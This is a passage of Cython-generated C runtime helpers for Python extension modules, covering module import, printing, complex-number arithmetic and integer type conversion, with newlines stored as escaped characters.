\"releasebuffer(obj, view)\");\n      #else\n        func = (releasebufferproc) PyCObject_AsVoidPtr(releasebuffer_cobj);\n      #endif\n        Py_DECREF(releasebuffer_cobj);\n        if (!func)\n            goto fail;\n        func(obj, view);\n        return;\n    } else {\n        PyErr_Clear();\n    }\n  #endif\n    goto nofail;\n#if PY_VERSION_HEX < 0x02060000\nfail:\n#endif\n    PyErr_WriteUnraisable(obj);\nnofail:\n    Py_DECREF(obj);\n    view->obj = NULL;\n}\n#endif /*  PY_MAJOR_VERSION < 3 */\n\n\n    static PyObject *__Pyx_Import(PyObject *name, PyObject *from_list, long level) {\n    PyObject *py_import = 0;\n    PyObject *empty_list = 0;\n    PyObject *module = 0;\n    PyObject *global_dict = 0;\n    PyObject *empty_dict = 0;\n    PyObject *list;\n    py_import = __Pyx_GetAttrString(__pyx_b, \"__import__\");\n    if (!py_import)\n        goto bad;\n    if (from_list)\n        list = from_list;\n    else {\n        empty_list = PyList_New(0);\n        if (!empty_list)\n            goto bad;\n        list = empty_list;\n    }\n    global_dict = PyModule_GetDict(__pyx_m);\n    if (!global_dict)\n        goto bad;\n    empty_dict = PyDict_New();\n    if (!empty_dict)\n        goto bad;\n    #if PY_VERSION_HEX >= 0x02050000\n    {\n        #if PY_MAJOR_VERSION >= 3\n        if (level == -1) {\n            if (strchr(__Pyx_MODULE_NAME, '.')) {\n                /* try package relative import first */\n                PyObject *py_level = PyInt_FromLong(1);\n                if (!py_level)\n                    goto bad;\n                module = PyObject_CallFunctionObjArgs(py_import,\n                    name, global_dict, empty_dict, list, py_level, NULL);\n                Py_DECREF(py_level);\n                if (!module) {\n                    if (!PyErr_ExceptionMatches(PyExc_ImportError))\n                        goto bad;\n                    PyErr_Clear();\n                }\n            }\n            level = 0; /* try absolute import on failure */\n        }\n        #endif\n        if (!module) {\n            PyObject *py_level = PyInt_FromLong(level);\n            if (!py_level)\n                goto bad;\n            module = PyObject_CallFunctionObjArgs(py_import,\n                name, global_dict, empty_dict, list, py_level, NULL);\n            Py_DECREF(py_level);\n        }\n    }\n    #else\n    if (level>0) {\n        PyErr_SetString(PyExc_RuntimeError, \"Relative import is not supported for Python <=2.4.\");\n        goto bad;\n    }\n    module = PyObject_CallFunctionObjArgs(py_import,\n        name, global_dict, empty_dict, list, NULL);\n    #endif\nbad:\n    Py_XDECREF(empty_list);\n    Py_XDECREF(py_import);\n    Py_XDECREF(empty_dict);\n    return module;\n}\n\nstatic CYTHON_INLINE void __Pyx_RaiseImportError(PyObject *name) {\n#if PY_MAJOR_VERSION < 3\n    PyErr_Format(PyExc_ImportError, \"cannot import name %.230s\",\n                 PyString_AsString(name));\n#else\n    PyErr_Format(PyExc_ImportError, \"cannot import name %S\", name);\n#endif\n}\n\n#if !CYTHON_COMPILING_IN_PYPY && PY_MAJOR_VERSION < 3\nstatic PyObject *__Pyx_GetStdout(void) {\n    PyObject *f = PySys_GetObject((char *)\"stdout\");\n    if (!f) {\n        PyErr_SetString(PyExc_RuntimeError, \"lost sys.stdout\");\n    }\n    return f;\n}\nstatic int __Pyx_Print(PyObject* f, PyObject *arg_tuple, int newline) {\n    int i;\n    if (!f) {\n        if (!(f = __Pyx_GetStdout()))\n            return -1;\n    }\n    Py_INCREF(f);\n    for (i=0; i < PyTuple_GET_SIZE(arg_tuple); i++) {\n        PyObject* v;\n        if (PyFile_SoftSpace(f, 1)) {\n            if (PyFile_WriteString(\" \", f) < 0)\n                goto error;\n        }\n        v = PyTuple_GET_ITEM(arg_tuple, i);\n        if (PyFile_WriteObject(v, f, Py_PRINT_RAW) < 0)\n            goto error;\n        if (PyString_Check(v)) {\n            char *s = PyString_AsString(v);\n            Py_ssize_t len = PyString_Size(v);\n            if (len > 0 &&\n                isspace(Py_CHARMASK(s[len-1])) &&\n                s[len-1] != ' ')\n                    PyFile_SoftSpace(f, 0);\n        }\n    }\n    if (newline) {\n        if (PyFile_WriteString(\"\\n\", f) < 0)\n            goto error;\n        PyFile_SoftSpace(f, 0);\n    }\n    Py_DECREF(f);\n    return 0;\nerror:\n    Py_DECREF(f);\n    return -1;\n}\n#else /* Python 3 has a print function */\nstatic int __Pyx_Print(PyObject* stream, PyObject *arg_tuple, int newline) {\n    PyObject* kwargs = 0;\n    PyObject* result = 0;\n    PyObject* end_string;\n    if (unlikely(!__pyx_print)) {\n        __pyx_print = __Pyx_GetAttrString(__pyx_b, \"print\");\n        if (!__pyx_print)\n            return -1;\n    }\n    if (stream) {\n        kwargs = PyDict_New();\n        if (unlikely(!kwargs))\n            return -1;\n        if (unlikely(PyDict_SetItemString(kwargs, \"file\", stream) < 0))\n            goto bad;\n        if (!newline) {\n            end_string = PyUnicode_FromStringAndSize(\" \", 1);\n            if (unlikely(!end_string))\n                goto bad;\n            if (PyDict_SetItemString(kwargs, \"end\", end_string) < 0) {\n                Py_DECREF(end_string);\n                goto bad;\n            }\n            Py_DECREF(end_string);\n        }\n    } else if (!newline) {\n        if (unlikely(!__pyx_print_kwargs)) {\n            __pyx_print_kwargs = PyDict_New();\n            if (unlikely(!__pyx_print_kwargs))\n                return -1;\n            end_string = PyUnicode_FromStringAndSize(\" \", 1);\n            if (unlikely(!end_string))\n                return -1;\n            if (PyDict_SetItemString(__pyx_print_kwargs, \"end\", end_string) < 0) {\n                Py_DECREF(end_string);\n                return -1;\n            }\n            Py_DECREF(end_string);\n        }\n        kwargs = __pyx_print_kwargs;\n    }\n    result = PyObject_Call(__pyx_print, arg_tuple, kwargs);\n    if (unlikely(kwargs) && (kwargs != __pyx_print_kwargs))\n        Py_DECREF(kwargs);\n    if (!result)\n        return -1;\n    Py_DECREF(result);\n    return 0;\nbad:\n    if (kwargs != __pyx_print_kwargs)\n        Py_XDECREF(kwargs);\n    return -1;\n}\n#endif\n\n#if !CYTHON_COMPILING_IN_PYPY && PY_MAJOR_VERSION < 3\nstatic int __Pyx_PrintOne(PyObject* f, PyObject *o) {\n    if (!f) {\n        if (!(f = __Pyx_GetStdout()))\n            return -1;\n    }\n    Py_INCREF(f);\n    if (PyFile_SoftSpace(f, 0)) {\n        if (PyFile_WriteString(\" \", f) < 0)\n            goto error;\n    }\n    if (PyFile_WriteObject(o, f, Py_PRINT_RAW) < 0)\n        goto error;\n    if (PyFile_WriteString(\"\\n\", f) < 0)\n        goto error;\n    Py_DECREF(f);\n    return 0;\nerror:\n    Py_DECREF(f);\n    return -1;\n    /* the line below is just to avoid C compiler\n     * warnings about unused functions */\n    return __Pyx_Print(f, NULL, 0);\n}\n#else /* Python 3 has a print function */\nstatic int __Pyx_PrintOne(PyObject* stream, PyObject *o) {\n    int res;\n    PyObject* arg_tuple = PyTuple_Pack(1, o);\n    if (unlikely(!arg_tuple))\n        return -1;\n    res = __Pyx_Print(stream, arg_tuple, 1);\n    Py_DECREF(arg_tuple);\n    return res;\n}\n#endif\n\n#if CYTHON_CCOMPLEX\n  #ifdef __cplusplus\n    static CYTHON_INLINE __pyx_t_float_complex __pyx_t_float_complex_from_parts(float x, float y) {\n      return ::std::complex< float >(x, y);\n    }\n  #else\n    static CYTHON_INLINE __pyx_t_float_complex __pyx_t_float_complex_from_parts(float x, float y) {\n      return x + y*(__pyx_t_float_complex)_Complex_I;\n    }\n  #endif\n#else\n    static CYTHON_INLINE __pyx_t_float_complex __pyx_t_float_complex_from_parts(float x, float y) {\n      __pyx_t_float_complex z;\n      z.real = x;\n      z.imag = y;\n      return z;\n    }\n#endif\n\n#if CYTHON_CCOMPLEX\n#else\n    static CYTHON_INLINE int __Pyx_c_eqf(__pyx_t_float_complex a, __pyx_t_float_complex b) {\n       return (a.real == b.real) && (a.imag == b.imag);\n    }\n    static CYTHON_INLINE __pyx_t_float_complex __Pyx_c_sumf(__pyx_t_float_complex a, __pyx_t_float_complex b) {\n        __pyx_t_float_complex z;\n        z.real = a.real + b.real;\n        z.imag = a.imag + b.imag;\n        return z;\n    }\n    static CYTHON_INLINE __pyx_t_float_complex __Pyx_c_difff(__pyx_t_float_complex a, __pyx_t_float_complex b) {\n        __pyx_t_float_complex z;\n        z.real = a.real - b.real;\n        z.imag = a.imag - b.imag;\n        return z;\n    }\n    static CYTHON_INLINE __pyx_t_float_complex __Pyx_c_prodf(__pyx_t_float_complex a, __pyx_t_float_complex b) {\n        __pyx_t_float_complex z;\n        z.real = a.real * b.real - a.imag * b.imag;\n        z.imag = a.real * b.imag + a.imag * b.real;\n        return z;\n    }\n    static CYTHON_INLINE __pyx_t_float_complex __Pyx_c_quotf(__pyx_t_float_complex a, __pyx_t_float_complex b) {\n        __pyx_t_float_complex z;\n        float denom = b.real * b.real + b.imag * b.imag;\n        z.real = (a.real * b.real + a.imag * b.imag) / denom;\n        z.imag = (a.imag * b.real - a.real * b.imag) / denom;\n        return z;\n    }\n    static CYTHON_INLINE __pyx_t_float_complex __Pyx_c_negf(__pyx_t_float_complex a) {\n        __pyx_t_float_complex z;\n        z.real = -a.real;\n        z.imag = -a.imag;\n        return z;\n    }\n    static CYTHON_INLINE int __Pyx_c_is_zerof(__pyx_t_float_complex a) {\n       return (a.real == 0) && (a.imag == 0);\n    }\n    static CYTHON_INLINE __pyx_t_float_complex __Pyx_c_conjf(__pyx_t_float_complex a) {\n        __pyx_t_float_complex z;\n        z.real =  a.real;\n        z.imag = -a.imag;\n        return z;\n    }\n    #if 1\n        static CYTHON_INLINE float __Pyx_c_absf(__pyx_t_float_complex z) {\n          #if !defined(HAVE_HYPOT) || defined(_MSC_VER)\n            return sqrtf(z.real*z.real + z.imag*z.imag);\n          #else\n            return hypotf(z.real, z.imag);\n          #endif\n        }\n        static CYTHON_INLINE __pyx_t_float_complex __Pyx_c_powf(__pyx_t_float_complex a, __pyx_t_float_complex b) {\n            __pyx_t_float_complex z;\n            float r, lnr, theta, z_r, z_theta;\n            if (b.imag == 0 && b.real == (int)b.real) {\n                if (b.real < 0) {\n                    float denom = a.real * a.real + a.imag * a.imag;\n                    a.real = a.real / denom;\n                    a.imag = -a.imag / denom;\n                    b.real = -b.real;\n                }\n                switch ((int)b.real) {\n                    case 0:\n                        z.real = 1;\n                        z.imag = 0;\n                        return z;\n                    case 1:\n                        return a;\n                    case 2:\n                        z = __Pyx_c_prodf(a, a);\n                        return __Pyx_c_prodf(a, a);\n                    case 3:\n                        z = __Pyx_c_prodf(a, a);\n                        return __Pyx_c_prodf(z, a);\n                    case 4:\n                        z = __Pyx_c_prodf(a, a);\n                        return __Pyx_c_prodf(z, z);\n                }\n            }\n            if (a.imag == 0) {\n                if (a.real == 0) {\n                    return a;\n                }\n                r = a.real;\n                theta = 0;\n            } else {\n                r = __Pyx_c_absf(a);\n                theta = atan2f(a.imag, a.real);\n            }\n            lnr = logf(r);\n            z_r = expf(lnr * b.real - theta * b.imag);\n            z_theta = theta * b.real + lnr * b.imag;\n            z.real = z_r * cosf(z_theta);\n            z.imag = z_r * sinf(z_theta);\n            return z;\n        }\n    #endif\n#endif\n\n#if CYTHON_CCOMPLEX\n  #ifdef __cplusplus\n    static CYTHON_INLINE __pyx_t_double_complex __pyx_t_double_complex_from_parts(double x, double y) {\n      return ::std::complex< double >(x, y);\n    }\n  #else\n    static CYTHON_INLINE __pyx_t_double_complex __pyx_t_double_complex_from_parts(double x, double y) {\n      return x + y*(__pyx_t_double_complex)_Complex_I;\n    }\n  #endif\n#else\n    static CYTHON_INLINE __pyx_t_double_complex __pyx_t_double_complex_from_parts(double x, double y) {\n      __pyx_t_double_complex z;\n      z.real = x;\n      z.imag = y;\n      return z;\n    }\n#endif\n\n#if CYTHON_CCOMPLEX\n#else\n    static CYTHON_INLINE int __Pyx_c_eq(__pyx_t_double_complex a, __pyx_t_double_complex b) {\n       return (a.real == b.real) && (a.imag == b.imag);\n    }\n    static CYTHON_INLINE __pyx_t_double_complex __Pyx_c_sum(__pyx_t_double_complex a, __pyx_t_double_complex b) {\n        __pyx_t_double_complex z;\n        z.real = a.real + b.real;\n        z.imag = a.imag + b.imag;\n        return z;\n    }\n    static CYTHON_INLINE __pyx_t_double_complex __Pyx_c_diff(__pyx_t_double_complex a, __pyx_t_double_complex b) {\n        __pyx_t_double_complex z;\n        z.real = a.real - b.real;\n        z.imag = a.imag - b.imag;\n        return z;\n    }\n    static CYTHON_INLINE __pyx_t_double_complex __Pyx_c_prod(__pyx_t_double_complex a, __pyx_t_double_complex b) {\n        __pyx_t_double_complex z;\n        z.real = a.real * b.real - a.imag * b.imag;\n        z.imag = a.real * b.imag + a.imag * b.real;\n        return z;\n    }\n    static CYTHON_INLINE __pyx_t_double_complex __Pyx_c_quot(__pyx_t_double_complex a, __pyx_t_double_complex b) {\n        __pyx_t_double_complex z;\n        double denom = b.real * b.real + b.imag * b.imag;\n        z.real = (a.real * b.real + a.imag * b.imag) / denom;\n        z.imag = (a.imag * b.real - a.real * b.imag) / denom;\n        return z;\n    }\n    static CYTHON_INLINE __pyx_t_double_complex __Pyx_c_neg(__pyx_t_double_complex a) {\n        __pyx_t_double_complex z;\n        z.real = -a.real;\n        z.imag = -a.imag;\n        return z;\n    }\n    static CYTHON_INLINE int __Pyx_c_is_zero(__pyx_t_double_complex a) {\n       return (a.real == 0) && (a.imag == 0);\n    }\n    static CYTHON_INLINE __pyx_t_double_complex __Pyx_c_conj(__pyx_t_double_complex a) {\n        __pyx_t_double_complex z;\n        z.real =  a.real;\n        z.imag = -a.imag;\n        return z;\n    }\n    #if 1\n        static CYTHON_INLINE double __Pyx_c_abs(__pyx_t_double_complex z) {\n          #if !defined(HAVE_HYPOT) || defined(_MSC_VER)\n            return sqrt(z.real*z.real + z.imag*z.imag);\n          #else\n            return hypot(z.real, z.imag);\n          #endif\n        }\n        static CYTHON_INLINE __pyx_t_double_complex __Pyx_c_pow(__pyx_t_double_complex a, __pyx_t_double_complex b) {\n            __pyx_t_double_complex z;\n            double r, lnr, theta, z_r, z_theta;\n            if (b.imag == 0 && b.real == (int)b.real) {\n                if (b.real < 0) {\n                    double denom = a.real * a.real + a.imag * a.imag;\n                    a.real = a.real / denom;\n                    a.imag = -a.imag / denom;\n                    b.real = -b.real;\n                }\n                switch ((int)b.real) {\n                    case 0:\n                        z.real = 1;\n                        z.imag = 0;\n                        return z;\n                    case 1:\n                        return a;\n                    case 2:\n                        z = __Pyx_c_prod(a, a);\n                        return __Pyx_c_prod(a, a);\n                    case 3:\n                        z = __Pyx_c_prod(a, a);\n                        return __Pyx_c_prod(z, a);\n                    case 4:\n                        z = __Pyx_c_prod(a, a);\n                        return __Pyx_c_prod(z, z);\n                }\n            }\n            if (a.imag == 0) {\n                if (a.real == 0) {\n                    return a;\n                }\n                r = a.real;\n                theta = 0;\n            } else {\n                r = __Pyx_c_abs(a);\n                theta = atan2(a.imag, a.real);\n            }\n            lnr = log(r);\n            z_r = exp(lnr * b.real - theta * b.imag);\n            z_theta = theta * b.real + lnr * b.imag;\n            z.real = z_r * cos(z_theta);\n            z.imag = z_r * sin(z_theta);\n            return z;\n        }\n    #endif\n#endif\n\nstatic CYTHON_INLINE unsigned char __Pyx_PyInt_AsUnsignedChar(PyObject* x) {\n    const unsigned char neg_one = (unsigned char)-1, const_zero = 0;\n    const int is_unsigned = neg_one > const_zero;\n    if (sizeof(unsigned char) < sizeof(long)) {\n        long val = __Pyx_PyInt_AsLong(x);\n        if (unlikely(val != (long)(unsigned char)val)) {\n            if (!unlikely(val == -1 && PyErr_Occurred())) {\n                PyErr_SetString(PyExc_OverflowError,\n                    (is_unsigned && unlikely(val < 0)) ?\n                    \"can't convert negative value to unsigned char\" :\n                    \"value too large to convert to unsigned char\");\n            }\n            return (unsigned char)-1;\n        }\n        return (unsigned char)val;\n    }\n    return (unsigned char)__Pyx_PyInt_AsUnsignedLong(x);\n}\n\nstatic CYTHON_INLINE unsigned short __Pyx_PyInt_AsUnsignedShort(PyObject* x) {\n    const unsigned short neg_one = (unsigned short)-1, const_zero = 0;\n    const int is_unsigned = neg_one > const_zero;\n    if (sizeof(unsigned short) < sizeof(long)) {\n        long val = __Pyx_PyInt_AsLong(x);\n        if (unlikely(val != (long)(unsigned short)val)) {\n            if (!unlikely(val == -1 && PyErr_Occurred())) {\n                PyErr_SetString(PyExc_OverflowError,\n                    (is_unsigned && unlikely(val < 0)) ?\n                    \"can't convert negative value to unsigned short\" :\n                    \"value too large to convert to unsigned short\");\n            }\n            return (unsigned short)-1;\n        }\n        return (unsigned short)val;\n    }\n    return (unsigned short)__Pyx_PyInt_AsUnsignedLong(x);\n}\n\nstatic CYTHON_INLINE unsigned int __Pyx_PyInt_AsUnsignedInt(PyObject* x) {\n    const unsigned int neg_one = (unsigned int)-1, const_zero = 0;\n    const int is_unsigned = neg_one > const_zero;\n    if (sizeof(unsigned int) < sizeof(long)) {\n        long val = __Pyx_PyInt_AsLong(x);\n        if (unlikely(val != (long)(unsigned int)val)) {\n            if (!unlikely(val == -1 && PyErr_Occurred())) {\n                PyErr_SetString(PyExc_OverflowError,\n                    (is_unsigned && unlikely(val < 0)) ?\n                    \"can't convert negative value to unsigned int\" :\n                    \"value too large to convert to unsigned int\");\n            }\n            return (unsigned int)-1;\n        }\n        return (unsigned int)val;\n    }\n    return (unsigned int)__Pyx_PyInt_AsUnsignedLong(x);\n}\n\nstatic CYTHON_INLINE char __Pyx_PyInt_AsChar(PyObject* x) {\n    const char neg_one = (char)-1, const_zero = 0;\n    const int is_unsigned = neg_one > const_zero;\n    if (sizeof(char) < sizeof(long)) {\n        long val = __Pyx_PyInt_AsLong(x);\n        if (unlikely(val != (long)(char)val)) {\n            if (!unlikely(val == -1 && PyErr_Occurred())) {\n                PyErr_SetString(PyExc_OverflowError,\n                    (is_unsigned && unlikely(val < 0)) ?\n                    \"can't convert negative value to char\" :\n                    \"value too large to convert to char\");\n            }\n            return (char)-1;\n        }\n        return (char)val;\n    }\n    return (char)__Pyx_PyInt_AsLong(x);\n}\n\nstatic CYTHON_INLINE short __Pyx_PyInt_AsShort(PyObject* x) {\n    const short neg_one = (short)-1, const_zero = 0;\n    const int is_unsigned = neg_one > const_zero;\n    if (sizeof(short) < sizeof(long)) {\n        long val = __Pyx_PyInt_AsLong(x);\n        if (unlikely(val != (long)(short)val)) {\n            if (!unlikely(val == -1 && PyErr_Occurred())) {\n                PyErr_SetString(PyExc_OverflowError,\n                    (is_unsigned && unlikely(val < 0)) ?\n                    \"can't convert negative value to short\" :\n                    \"value too large to convert to short\");\n            }\n            return (short)-1;\n        }\n        return (short)val;\n    }\n    return (short)__Pyx_PyInt_AsLong(x);\n}\n\nstatic CYTHON_INLINE int __Pyx_PyInt_AsInt(PyObject* x) {\n    const int neg_one = (int)-1, const_zero = 0;\n    const int is_unsigned = neg_one > const_zero;\n    if (sizeof(int) < sizeof(long)) {\n        long val = __Pyx_PyInt_AsLong(x);\n        if (unlikely(val != (long)(int)val)) {\n            if (!unlikely(val == -1 && PyErr_Occurred())) {\n                PyErr_SetString(PyExc_OverflowError,\n                    (is_unsigned && unlikely(val < 0)) ?\n                    \"can't convert negative value to int\" :\n                    \"value too large to convert to int\");\n            }\n            return (int)-1;\n        }\n        return (int)val;\n    }\n    return (int)__Pyx_PyInt_AsLong(x);\n}\n\nstatic CYTHON_INLINE signed char __Pyx_PyInt_AsSignedChar(PyObject* x) {\n    const signed char neg_one = (signed char)-1, const_zero = 0;\n    const int is_unsigned = neg_one > const_zero;\n    if (sizeof(signed char) < sizeof(long)) {\n        long val = __Pyx_PyInt_AsLong(x);\n        if (unlikely(val != (long)(signed char)val)) {\n            if (!unlikely(val == -1 && PyErr_Occurred())) {\n                PyErr_SetString(PyExc_OverflowError,\n                    (is_unsigned && unlikely(val < 0)) ?\n                    \"can't convert negative value to signed char\" :\n                    \"value too large to convert to signed char\");\n            }\n            return (signed char)-1;\n        }\n        return (signed char)val;\n    }\n    return (signed char)__Pyx_PyInt_AsSignedLong(x);\n}\n\nstatic CYTHON_INLINE signed short __Pyx_PyInt_AsSignedShort(PyObject* x) {\n    const signed short neg_one = (signed short)-1, const_zero = 0;\n    const int is_unsigned = neg_one > const_zero;\n    if (sizeof(signed short) < sizeof(long)) {\n        long val = __Pyx_PyInt_AsLong(x);\n        if (unlikely(val != (long)(signed short)val)) {\n            if (!unlikely(val == -1 && PyErr_Occurred())) {\n                PyErr_SetString(PyExc_OverflowError,\n                    (is_unsigned && unlikely(val < 0)) ?\n                    \"can't convert negative value to signed short\" :\n                    \"value too large to convert to signed short\");\n            }\n            return (signed short)-1;\n        }\n        return (signed short)val;\n    }\n    return (signed short)__Pyx_PyInt_AsSignedLong(x);\n}\n\nstatic CYTHON_INLINE signed int __Pyx_PyInt_AsSignedInt(PyObject* x) {\n    const signed int neg_one = (signed int)-1, const_zero = 0;\n    const int is_unsigned = neg_one > const_zero;\n    if (sizeof(signed int) < sizeof(long)) {\n        long val = __Pyx_PyInt_AsLong(x);\n        if (unlikely(val != (long)(signed int)val)) {\n            if (!unlikely(val == -1 && PyErr_Occurred())) {\n                PyErr_SetString(PyExc_OverflowError,\n                    (is_unsigned && unlikely(val < 0)) ?\n                    \"can't convert negative value to signed int\" :\n                    \"value too large to convert to signed int\");\n            }\n            return (signed int)-1;\n        }\n        return (signed int)val;\n    }\n    return (signed int)__Pyx_PyInt_AsSignedLong(x);\n}\n\nstatic CYTHON_INLINE int __Pyx_PyInt_AsLongDouble(PyObject* x) {\n    const int neg_one = (int)-1, const_zero = 0;\n    const int is_unsigned = neg_one > const_zero;\n    if (sizeof(int) < sizeof(long)) {\n        long val = __Pyx_PyInt_AsLong(x);\n        if (unlikely(val != (long)(int)val)) {\n            if (!unlikely(val == -1 && PyErr_Occurred())) {\n                PyErr_SetString(PyExc_OverflowError,\n                    (is_unsigned && unlikely(val < 0)) ?\n                    \"can't convert negative value to int\" :\n                    \"value too large to convert to int\");\n            }\n            return (int)-1;\n        }\n        return (int)val;\n    }\n    return (int)__Pyx_PyInt_AsLong(x);\n}\n\nstatic CYTHON_INLINE unsigned long __Pyx_PyInt_AsUnsignedLong(PyObject* x) {\n    const unsigned long neg_one = (unsigned long)-1, const_zero = 0;\n    const int is_unsigned = neg_one > const_zero;\n#if PY_VERSION_HEX < 0x03000000\n    if (likely(PyInt_Check(x))) {\n        long val = PyInt_AS_LONG(x);\n        if (is_unsigned && unlikely(val < 0)) {\n            PyErr_SetString(PyExc_OverflowError,\n                            \"can't convert negative value to unsigned long\");\n            return (unsigned long)-1;\n        }\n        return (unsigned long)val;\n    } else\n#endif\n    if (likely(PyLong_Check(x))) {\n        if (is_unsigned) {\n            if (unlikely(Py_SIZE(x) < 0)) {\n                PyErr_SetString(PyExc_OverflowError,\n                                \"can't convert negative value to unsigned long\");\n                return (unsigned long)-1;\n            }\n            return (unsigned long)PyLong_AsUnsignedLong(x);\n        } else {\n            return (unsigned long)PyLong_AsLong(x);\n        }\n    } else {\n        unsigned long val;\n        PyObject *tmp = __Pyx_PyNumber_Int(x);\n        if (!tmp) return (unsigned long)-1;\n        val = __Pyx_PyInt_AsUnsignedLong(tmp);\n        Py_DECREF(tmp);\n        return val;\n    }\n}\n\nstatic CYTHON_INLINE unsigned PY_LONG_LONG __Pyx_PyInt_AsUnsignedLongLong(PyObject* x) {\n    const unsigned PY_LONG_LONG neg_one = (unsigned PY_LONG_LONG)-1, const_zero = 0;\n    const int is_unsigned = neg_one > const_zero;\n#if PY_VERSION_HEX < 0x03000000\n    if (likely(PyInt_Check(x))) {\n        long val = PyInt_AS_LONG(x);\n        if (is_unsigned && unlikely(val < 0)) {\n            PyErr_SetString(PyExc_OverflowError,\n                            \"can't convert negative value to unsigned PY_LONG_LONG\");\n            return (unsigned PY_LONG_LONG)-1;\n        }\n        return (unsigned PY_LONG_LONG)val;\n    } else\n#endif\n    if (likely(PyLong_Check(x))) {\n        if (is_unsigned) {\n            if (unlikely(Py_SIZE(x) < 0)) {\n                PyErr_SetString(PyExc_OverflowError,\n                                \"can't convert negative value to unsigned PY_LONG_LONG\");\n                return (unsigned PY_LONG_LONG)-1;\n            }\n            return (unsigned PY_LONG_LONG)PyLong_AsUnsignedLongLong(x);\n        } else {\n            return (unsigned PY_LONG_LONG)PyLong_AsLongLong(x);\n        }\n    } else {\n        unsigned PY_LONG_LONG val;\n        PyObject *tmp = __Pyx_PyNumber_Int(x);\n        if (!tmp) return (unsigned PY_LONG_LONG)-1;\n        val = __Pyx_PyInt_AsUnsignedLongLong(tmp);\n        Py_DECREF(tmp);\n        return val;\n    }\n}\n\nstatic CYTHON_INLINE long __Pyx_PyInt_AsLong(PyObject* x) {\n    const long neg_one = (long)-1, const_zero = 0;\n    const int is_unsigned = neg_one > const_zero;\n#if PY_VERSION_HEX < 0x03000000\n    if (likely(PyInt_Check(x))) {\n        long val = PyInt_AS_LONG(x);\n        if (is_unsigned && unlikely(val < 0)) {\n            PyErr_SetString(PyExc_OverflowError,\n                            \"can't convert negative value to long\");\n            return (long)-1;\n        }\n        return (long)val;\n    } else\n#endif\n    if (likely(PyLong_Check(x))) {\n        if (is_unsigned) {\n            if (unlikely(Py_SIZE(x) < 0)) {\n                PyErr_SetString(PyExc_OverflowError,\n                                \"can't convert negative value to long\");\n                return (long)-1;\n            }\n            return (long)PyLong_AsUnsignedLong(x);\n        } else {\n            return (long)PyLong_AsLong(x);\n        }\n    } else {\n        long val;\n        PyObject *tmp = __Pyx_PyNumber_Int(x);\n        if (!tmp) return (long)-1;\n        val = __Pyx_PyInt_AsLong(tmp);\n        Py_DECREF(tmp);\n        return val;\n    }\n}\n\nstatic CYTHON_INLINE PY_LONG_LONG __Pyx_PyInt_AsLongLong(PyObject* x) {\n    const PY_LONG_LONG neg_one = (PY_LONG_LONG)-1, const_zero = 0;\n    const int is_unsigned = neg_one > const_zero;\n#if PY_VERSION_HEX < 0x03000000\n    if (likely(PyInt_Check(x))) {\n        long val = PyInt_AS_LONG(x);\n        if (is_unsigned && unlikely(val < 0)) {\n            PyErr_SetString(PyExc_OverflowError,\n                            \"can't convert negative value to PY_LONG_LONG\");\n            return (PY_LONG_LONG)-1;\n        }\n        return (PY_LONG_LONG)val;\n    } else\n#endif\n    if (likely(PyLong_Check(x))) {\n        if (is_unsigned) {\n            if (unlikely(Py_SIZE(x) < 0)) {\n                PyErr_SetString(PyExc_OverflowError,\n                                \"can't convert negative value to PY_LONG_LONG\");\n                return (PY_LONG_LONG)-1;\n            }\n            return (PY_LONG_LONG)PyLong_AsUnsignedLongLong(x);\n        } else {\n            return (PY_LONG_LONG)PyLong_AsLongLong(x);\n        }\n    } else {\n        PY_LONG_LONG val;\n        PyObject *tmp = __Pyx_PyNumber_Int(x);\n        if (!tmp) return (PY_LONG_LONG)-1;\n        val = __Pyx_PyInt_AsLongLong(tmp);\n        Py_DECREF(tmp);\n        return val;\n    }\n}\n\nstatic CYTHON_INLINE signed long __Pyx_PyInt_AsSignedLong(PyObject* x) {\n    const signed long neg_one = (signed long)-1, const_zero = 0;\n    const int is_unsigned = neg_one > const_zero;\n#if PY_VERSION_HEX < 0x03000000\n    if (likely(PyInt_Check(x))) {\n        long val = PyInt_AS_LONG(x);\n        if (is_unsigned && unlikely(val < 0)) {\n            PyErr_SetString(PyExc_OverflowError,\n                            \"can't convert negative value to signed long\");\n            return (signed long)-1;\n        }\n        return (signed long)val;\n    } else\n#endif\n    if (likely(PyLong_Check(x))) {\n        if (is_unsigned) {\n            if (unlikely(Py_SIZE(x) < 0)) {\n                PyErr_SetString(PyExc_OverflowError,\n                                \"can't convert negative value to signed long\");\n                return (signed long)-1;\n            }\n            return (signed long)PyLong_AsUnsignedLong(x);\n        } else {\n            return (signed long)PyLong_AsLong(x);\n        }\n    } else {\n        signed long val;\n        PyObject *tmp = __Pyx_PyNumber_Int(x);\n        if (!tmp) return (signed long)-1;\n        val = __Pyx_PyInt_AsSignedLong(tmp);\n        Py_DECREF(tmp);\n        return val;\n    }\n}\n\nstatic CYTHON_INLINE signed PY_LONG_LONG __Pyx_PyInt_AsSignedLongLong(PyObject* x) {\n    const signed PY_LONG_LONG neg_one = (signed PY_LONG_LONG)-1, const_zero = 0;\n    const int is_unsigned = neg_one > const_zero;\n#if PY_VERSION_HEX < 0x03000000\n    if (likely(PyInt_Check(x))) {\n        long val = PyInt_AS_LONG(x);\n        if (is_unsigned && unlikely(val < 0)) {\n            PyErr_SetString(PyExc_OverflowError,\n                            \"can't convert negative value to signed PY_LONG_LONG\");\n            return (signed PY_LONG_LONG)-1;\n        }\n        return (signed PY_LONG_LONG)val;\n    } else\n#endif\n    if (likely(PyLong_Check(x))) {\n        if (is_unsigned) {\n            if (unlikely(Py_SIZE(x) < 0)) {\n                PyErr_SetString(PyExc_OverflowError,\n                                \"can't convert negative value to signed PY_LONG_LONG\");\n                return (signed PY_LONG_LONG)-1;\n            }\n            return (signed PY_LONG_LONG)PyLong_AsUnsignedLongLong(x);\n        } else {\n            return (signed PY_LONG_LONG)PyLong_AsLongLong(x);\n        }\n    } else {\n        signed PY_LONG_LONG val;\n        PyObject *tmp = __Pyx_PyNumber_Int(x);\n        if (!tmp) return (signed PY_LONG_LONG)-1;\n        val = __Pyx_PyInt_AsSignedLongLong(tmp);\n        Py_DECREF(tmp);\n        return val;\n    }\n}\n\nstatic void __Pyx_WriteUnraisable(const char *name, CYTHON_UNUSED int clineno,\n                                  CYTHON_UNUSED int lineno, CYTHON_UNUSED const char *filename) {\n    PyObject *old_exc, *old_val, *old_tb;\n    PyObject *ctx;\n    __Pyx_ErrFetch(&old_exc, &old_val, &old_tb);\n    #if PY_MAJOR_VERSION < 3\n    ctx = PyString_FromString(name);\n    #else\n    ctx = PyUnicode_FromString(name);\n    #endif\n    __Pyx_ErrRestore(old_exc, old_val, old_tb);\n    if (!ctx) {\n        PyErr_WriteUnraisable(Py_None);\n    } else {\n        